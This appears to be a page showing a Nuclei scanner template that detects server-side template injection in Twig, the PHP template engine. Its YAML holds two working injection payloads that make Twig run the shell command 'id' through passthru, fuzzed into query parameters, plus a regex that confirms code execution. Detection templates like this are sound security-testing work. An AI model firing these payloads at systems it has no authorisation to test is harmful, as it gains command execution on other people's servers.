Twig - Server Side Template Injection

ID: twig-ssti

Severity: high

Author: ritikchaddha

Tags: twig,ssti,dast

Description

Twig, a PHP template engine, posed significant challenges in crafting a working payload due to its built-in and default configurations, particularly in string creation. However, by utilizing the block feature and the built-in _charset variable, Attacker successfully developed a payload by nesting these elements together.

YAML Source

id: twig-ssti

info:
  name: Twig - Server Side Template Injection
  author: ritikchaddha
  severity: high
  description: |
    Twig, a PHP template engine, posed significant challenges in crafting a working payload due to its built-in and default configurations, particularly in string creation. However, by utilizing the block feature and the built-in _charset variable, Attacker successfully developed a payload by nesting these elements together.
  reference:
    - https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation
  metadata:
    max-request: 1
  tags: twig,ssti,dast

http:
  - pre-condition:
      - type: dsl
        dsl:
          - 'method == "GET"'

    payloads:
      injection:
        - "{%block%20U%}id000passthru{%endblock%}{%set%20x=block(_charset%7Cfirst)%7Csplit(000)%}{{[x%7Cfirst]%7Cmap(x%7Clast)%7Cjoin}}"
        - "{{id~passthru~_context%7Cjoin%7Cslice(2,2)%7Csplit(000)%7Cmap(_context%7Cjoin%7Cslice(5,8))}}"

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{injection}}"

    skip-variables-check: true
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=[0-9]+.*gid=[0-9]+.*"
# digest: 4a0a00473045022038c37af028c810b23e4b0542e444a1bc290532dee475beb64dadc6bcbac927dc022100949f3a90b6c1b00a16cfc2fa7008923a849765f68ae097c726d64f00f289c79f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "dast/vulnerabilities/ssti/twig-ssti.yaml"

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